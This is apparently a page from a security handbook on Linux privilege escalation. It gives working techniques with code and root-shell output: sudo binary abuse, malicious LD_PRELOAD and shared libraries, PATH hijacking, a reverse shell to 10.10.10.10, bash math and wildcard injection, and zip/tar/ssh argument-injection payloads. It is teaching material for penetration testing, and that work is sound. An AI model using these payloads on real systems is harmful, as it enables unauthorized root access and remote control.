# Command Exploitation

## Exploitable Functionality

Now that we have a list of programs we are allowed to use, we can see if we can get a shell in any way. To do this you look up the program on [GTFOBins](https://gtfobins.github.io/#+sudo). If it has the *Sudo* tag set, it means you can use it to get some form of elevated privileges.&#x20;

{% embed url="<https://gtfobins.github.io/#+sudo>" %}
GTFOBins, a searchable list of exploitable binaries
{% endembed %}

Then just use the command to get a shell. With the `/usr/bin/find` binary it would be this for example:

```bash
sudo find . -exec /bin/sh \; -quit
```

If the binary does not allow you to get a shell instantly, you can try other things like [#reading-files](https://book.jorianwoltjer.com/linux/linux-privilege-escalation/..#reading-files "mention") or [#writing-files](https://book.jorianwoltjer.com/linux/linux-privilege-escalation/..#writing-files "mention"), which may achieve the same effect with some more effort.

Far from all binaries that are exploitable are included in this list. If you cannot find it there, because it is less known, look for yourself to see if any features that may be useful. The `-h` or `--help` and `man` pages can be helpful here. Features like exporting data to write files, or loading configs to read content in error messages are common ideas, but you can get very creative here.&#x20;

## Environment Variables

Just like command-line arguments and files on the filesystem, environment variables are just another piece of information a process can use. Some programs them in place of arguments, or to elicit specific behavior, and some of that behavior can be exploited.&#x20;

<pre class="language-shell-session" data-title="Set for shell session"><code class="lang-shell-session"><strong>$ export VAR='Hello, world!'  # set permanently
</strong><strong>$ env | grep VAR
</strong>VAR=Hello, world!
</code></pre>

<pre class="language-shell-session" data-title="Set temporarely"><code class="lang-shell-session"><strong>$ VAR='Hello, world!' env | grep VAR  # env finds $VAR
</strong>VAR=Hello, world!
<strong>$ env | grep VAR  # env doesn't find it anymore
</strong></code></pre>

Which variables are useful depends on the program, and you can use [reverse-engineering](https://book.jorianwoltjer.com/reverse-engineering "mention") or canaries to find out which are used in what places. Here are a few common ones that have a special meaning and can often be exploited:

### `$LD_PRELOAD` & `$LD_LIBRARY_PATH`

Two especially dangerous ones are `LD_PRELOAD` and `LD_LIBRARY_PATH`, because they allow you to overwrite the libc path of the program to another file that you can control. This means you can execute any C library you make before the real sudo program runs.&#x20;

<pre class="language-shell-session"><code class="lang-shell-session"><strong>$ sudo -l
</strong>Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/apache2
</code></pre>

The first `LD_PRELOAD` just specifies the direct path to the library. To compile a malicious library yourself just make some C code to execute a privileged shell, and compile it like a library:

{% code title="preload.c" %}

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);  // Root permissions
        system("/bin/bash -p");  // Start bash shell
}
```

{% endcode %}

```shell-session
$ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
```

Now you have the malicious preload.so file that you can include by setting the `LD_PRELOAD` before running the allowed sudo program (make sure to use the full path):

<pre class="language-shell-session"><code class="lang-shell-session"><strong>$ sudo LD_PRELOAD=/tmp/preload.so /usr/sbin/apache2
</strong># id
uid=0(root) gid=0(root) groups=0(root)
</code></pre>

Then for the `LD_LIBRARY_PATH` option there is another similar way. This variable only sets the directory to find the other libraries in, so we first need to know what libraries are loaded to then overwrite them. Do this using `ldd`:

<pre class="language-shell-session"><code class="lang-shell-session"><strong>$ ldd /usr/sbin/apache2
</strong>        linux-vdso.so.1 =>  (0x00007fff8f5ff000)
        libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f52d4527000)
        libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007f52d4303000)
        libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007f52d40c9000)
        libpthread.so.0 => /lib/libpthread.so.0 (0x00007f52d3ead000)
        libc.so.6 => /lib/libc.so.6 (0x00007f52d3b41000)
        libuuid.so.1 => /lib/libuuid.so.1 (0x00007f52d393c000)
        librt.so.1 => /lib/librt.so.1 (0x00007f52d3734000)
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f52d34fd000)
        libdl.so.2 => /lib/libdl.so.2 (0x00007f52d32f8000)
        libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f52d30d0000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f52d49e4000)
</code></pre>

We can choose any of these filenames to overwrite. Let's take `libcrypt.so.1` for example. We'll again compile some C code to a valid library with the functions that it will expect:

{% code title="library\_path.c" %}

```c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));  // Function that is called

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);  // Root permissions
        system("/bin/bash -p");  // Start bash shell (keeping permissions)
}
```

{% endcode %}

Then we compile it again to a library and set the `LD_LIBRARY_PATH` to a directory containing our malicious library:

<pre class="language-shell-session"><code class="lang-shell-session"><strong>$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c
</strong><strong>$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2
</strong># id
uid=0(root) gid=0(root) groups=0(root)
</code></pre>

### `$PATH`

When a program is executed with [#setuid](https://book.jorianwoltjer.com/linux/command-triggers#setuid "mention"), the current environment variables are kept. This means you have even more control over the program's behavior by changing environment variables before executing it. One common trick is using the `$PATH` variable, which has a `:` colon-separated list of directories saying where to find programs without an absolute path.&#x20;

To find what commands are executed by an unknown program, you can try to use [#pspy](https://book.jorianwoltjer.com/linux/enumeration#pspy "mention") to find commands executed on the system. Another way would be to use [reverse-engineering](https://book.jorianwoltjer.com/reverse-engineering "mention") to find what the program exactly does. Tools like `strace` will show `execve()` calls for all executed processes, and if this command isn't available, it will be if you copy the binary to you locally.&#x20;

Suppose you found the SUID program executes `service` instead of `/usr/sbin/service`, then it will **search through directories** in the PATH variable containing a file named "service". \
But since we can **change** the PATH environment variable before executing the program, we could prepend a directory containing our own malicious program also named "service". When the `service` command is then executed by the SUID binary, it will actually run the malicious binary from our directory, allowing us to run arbitrary code.&#x20;

When you find a vulnerable command, you can simply create a binary with the same name that does whatever you want:

```bash
ln -s /bin/bash /tmp/service
```

Then set the PATH variable before executing the vulnerable SUID program:

<pre class="language-shell-session"><code class="lang-shell-session"><strong>$ PATH=/tmp:$PATH ./vulnerable
</strong># id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
</code></pre>

#### Writable `$PATH` for another user

The above example was focused on SUID binaries, but this idea of overwriting programs in the PATH variable goes further. If due to a misconfiguration you are able to write in one of the earlier `$PATH` directories for a user, you can create a binary with the same name again to overwrite.

{% code title="/usr/local/service" %}

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/1337 0>&1
```

{% endcode %}

```shell-session
$ chmod +x /usr/local/service  # Make executable
```

## Attacking Bash Scripts

{% content-ref url="../bash" %}
[bash](https://book.jorianwoltjer.com/linux/bash)
{% endcontent-ref %}

### Injecting Commands in Math

[bash](https://book.jorianwoltjer.com/linux/bash "mention") scripts contain commands that are executed one by one. With logic like `if` for `for` this can become more powerful to script complex operations with support for user interaction. With this complexity also comes unexpected situations where an attacker can abuse your script in order to escape an environment or escalate privileges.

{% embed url="<https://www.vidarholen.net/contents/blog/?p=716>" %}
Source: explains the vulnerable cases and why this exists
{% endembed %}

You can explicitly tell bash to evaluate a math expression using the `$((EXPR))` syntax:

<pre class="language-shell-session"><code class="lang-shell-session"><strong>$ echo $((1+1))
</strong>2
</code></pre>

The **vulnerability** is the fact that this math syntax allows substituting shell commands with the `a[$(COMMAND)]` syntax, normally used on array variables:

<pre class="language-shell-session" data-overflow="wrap"><code class="lang-shell-session"><strong>$ echo $((a[$(id)]))
</strong>bash: uid=1001(user) gid=1001(user) groups=1001(user): syntax error in expression (error token is "(user) gid=1001(user) groups=1001(user)")
</code></pre>

This can be exploited in many different contexts and is definitely worth a try whenever you have input into a bash script. Take this innocent-looking example:

<pre class="language-bash" data-title="script.sh (Example)"><code class="lang-bash">#!/bin/bash
read -rp "Enter guess: " num
<strong>if [[ $num -eq 42 ]]; then
</strong>  echo "Correct"
fi
</code></pre>

With the `a[$(id)]` input like above, this is vulnerable because math is evaluated here!

<pre class="language-shell-session" data-overflow="wrap"><code class="lang-shell-session"><strong>$ ./script.sh
</strong><strong>Enter guess: a[$(id)]
</strong>./a.sh: line 3: uid=1001(user) gid=1001(user) groups=1001(user): syntax error in expression (error token is "(user) gid=1001(user) groups=1001(user)")
</code></pre>

Here are some places where your input will be **dangerously evaluated** as a math expression:

* `$((here))`
* `((here))`
* `${var:here:here}`
* `${var[here]}`
* `var[here]=...`
* `[[ here -eq here ]]` (and any others like `-gt` or `-le`)

### Wildcards in `[[` `==` expression

As [this answer](https://superuser.com/a/1056518/1849875) explains, there is a specific scenario where your user input can become a wildcard match by accident. An example is shown below:

<pre class="language-bash" data-title="Vulnerable example"><code class="lang-bash">#!/bin/bash

password='secret'
read -rp "Enter guess: " guess

<strong>if [[ $password == $guess ]]
</strong>then
  echo "Correct!"
  cat /flag.txt
else
  echo "Wrong"
  exit 1
fi
</code></pre>

This piece of code seems like it only compares the string `$password` to `$guess`, and there should be no way to bypass it without knowing the password. However, when a `*` wildcard character is inputted, check passes as correct!

```bash
Enter guess: *
Correct!
```

This is because the `[[` is a shell built-in that interprets its arguments slightly differently than a regular binary. Otherwise, it would be a glob pattern and replaced with all filenames that match the inputted pattern. In this case the *right* argument of an `==` operation in `[[` is treated as a [pattern](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_13) instead of a literal string (note: single `=` is equivalent). \
If `$guess` were in quotes like `"$guess"` it would be taken literally, not as a pattern. Using `[` instead of `[[` also prevents this but developers like using the built-in more because it handles special characters better. And lastly, this also doesn't work if your malicious input is on the left side of the comparison.&#x20;

Something even better than bypassing the password check is **recovering** **the password** it was checking against, which is also very possible using this wildcard trick. Because we can try a string like `s*` to see if that matches the password, and get a boolean response. Doing this for every first character we eventually find one that passes and thus find the first character. Continuing this we can find all other characters to recover the full password. \
This idea can even be improved to [Binary Search](https://en.wikipedia.org/wiki/Binary_search_algorithm) performance by requesting *ranges* of characters instead of individual ones, here is an implementation:

```python
import subprocess

def test(password):
    # Set your program and input method here
    process = subprocess.run(['./password.sh'], input=password.encode(),
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    return b"Correct" in process.stdout

def escape(s): return ''.join([f'\\{c}' for c in s])

# Binary Search algorithm
def search_once(test_function, prefix=""):
    min = ord(' ')
    max = ord('~')

    while min <= max:
        mid = (min + max) // 2

        if test_function(f'{escape(prefix)}[{escape(chr(mid))}-~]*'):
            min = mid + 1
        else:
            max = mid - 1

    return chr(max)

# Keep searching until whole string found
def search(test_function):
    found = ""
    while True:
        found += search_once(test_function, prefix=found)
        print(found)

        if test_function(escape(found)):
            return found

print(search(test))  # secret
```

## Argument Injection (Wildcards)

Bash allows you to use `*` wildcards in commands to insert any files that match the wildcard. This works by inserting all the matched files after each other separated by spaces in the command since most commands allow you to add as many files as you want by just adding more arguments.&#x20;

<pre class="language-shell-session" data-title="Example"><code class="lang-shell-session"><strong>$ ls -l
</strong>total 276
drwxrwxr-x  2 user   user     4096 Aug 20 16:00 directory/
-rw-rw-r--  1 user   user        0 Aug 20 16:00 first
-rw-rw-r--  1 user   user        0 Aug 20 16:00 second
<strong>$ file *  # Wildcard
</strong>directory: directory
first:     empty
second:    empty
<strong>$ file directory first second  # Equivalent
</strong>directory: directory
first:     empty
second:    empty
</code></pre>

The problem arises when you can create files starting with `-`, which are often flags to change the behavior of a command. Bash just pastes the files into the command, not bothering to check if any of them start with the `-` dash. This means we can add flags to the command and make it do different things.&#x20;

With the `file` command, for example, something innocent we can do is use the `-F` option to change the `:` separator we saw earlier. Arguments often don't need a space character, so we can just create a file called `-Fsomething` to add this argument to the file command if the wildcard is used. Another common way to pass arguments is by using the `=` equals sign for `--` arguments, like `--separator=something`. Here are two examples:

<pre class="language-shell-session"><code class="lang-shell-session"><strong>$ touch -- '-Fsomething'  # "Attack"
</strong><strong>$ file *
</strong>directorysomething directory
firstsomething     empty
secondsomething    empty
<strong>$ rm -- '-Fsomething'  # Remove previous attack
</strong>
<strong>$ touch -- --separator=something  # Other format
</strong><strong>$ file *
</strong>directorysomething directory
firstsomething     empty
secondsomething    empty
</code></pre>

{% hint style="info" %}
**Tip**: Use the `--` characters alone to not interpret the following arguments as flags. This is how you should secure a wildcard vulnerability like this, and also how you can easily place your payload using without `touch` thinking they're flags too.&#x20;
{% endhint %}

One limitation you have is the fact that the `*` wildcard orders your arguments alphabetically. Luckily the `-` dash character comes before other alphanumeric characters, meaning our injected arguments will always be *first*. You just have to find a way to add arguments that allow you to do unintended things. \
Another bonus is that *almost all special characters* are allowed in filenames and arguments, many unexpected ones even, if you just escape enough with `'` single quotes and/or escape sequences.

### Common programs

A common pattern is to use wildcards when making a backup of some files in a directory using [#automated-cron-jobs](https://book.jorianwoltjer.com/linux/command-triggers#automated-cron-jobs "mention"), so here are some ways to exploit such archiving tools:

#### ZIP

{% code title="Vulnerable command" %}

```bash
zip /tmp/backup.zip *
```

{% endcode %}

<pre class="language-shell-session" data-title="Exploit"><code class="lang-shell-session"><strong>$ nano shell.sh  # Any payload you want to execute
</strong><strong>$ touch -- '-T'
</strong><strong>$ touch -- '--unzip-command=sh shell.sh'
</strong>
# # Equivelent result:
$ zip /tmp/backup.zip -T --unzip-command='sh shell.sh'
</code></pre>

#### Tar

{% code title="Vulnerable command" %}

```shell-session
tar czf /tmp/backup.tar.gz *
```

{% endcode %}

<pre class="language-shell-session" data-title="Exploit"><code class="lang-shell-session"><strong>$ nano shell.sh  # Any payload you want to execute
</strong><strong>$ touch -- '--checkpoint=1'
</strong><strong>$ touch -- '--checkpoint-action=exec=sh shell.sh'
</strong>
# # Equivelent result:
$ zip /tmp/backup.zip --checkpoint=1 --checkpoint-action=exec='sh shell.sh'
</code></pre>

#### SSH

{% code title="Vulnerable command" %}

```bash
ssh "$input"@host command
```

{% endcode %}

Control over the **start of any argument** and at least one argument after your input can be exploitable. By injecting a `ProxyCommand` option with `-o`, the argument after becomes the host it tries to resolve. Even if this connection fails, the injected command will still execute:

<pre class="language-shell-session"><code class="lang-shell-session"><strong>$ export input='-oProxyCommand=;id>/tmp/pwned;'  # Any way your input ends up in ssh
</strong><strong>$ ssh "$input"@host command  # Interprets $input as an option and command as the host
</strong>/bin/bash: @host: command not found
kex_exchange_identification: Connection closed by remote host
<strong>$ cat /tmp/pwned
</strong>uid=1001(user) gid=1001(user) groups=1001(user)
</code></pre>

For **more** Argument Injection payloads like this for different tools, see the following two collections:

{% embed url="<https://gtfoargs.github.io/>" %}
A list of many different and common tools, and what functionality they can have
{% endembed %}

{% embed url="<https://sonarsource.github.io/argument-injection-vectors/>" %}
A few specific tools with system command and file write functionality
{% endembed %}

## Shared Object Injection

This technique is a little more advanced. Programs often need libraries to do certain things, but sometimes you can overwrite some of these libraries with your own. Then the SUID program would load your malicious library instead of the normal one, executing your code.&#x20;

You can find what libraries a program loads at runtime using `strace` and looking for opened files:

<pre class="language-c"><code class="lang-c"><strong>$ strace ./vulnerable 2>&#x26;1 | egrep -i "open|access|no such file"
</strong>access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
<strong>open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
</strong></code></pre>

In the example above, you can see a few libraries that it failed to access. The last one (`libcalc.so`) is in my user's `/home` directory, so we can write our own library there for it to be executed:

{% code title="libcalc.c" %}

```c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}
```

{% endcode %}

{% code title="Compile to a shared library" %}

```shell-session
$ gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c
```

{% endcode %}

Then when the program loads `/home/user/.config/libcalc.so`, it will actually find our malicious library giving us a shell:

<pre class="language-shell-session"><code class="lang-shell-session"><strong>$ ./vulnerable
</strong># id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
</code></pre>
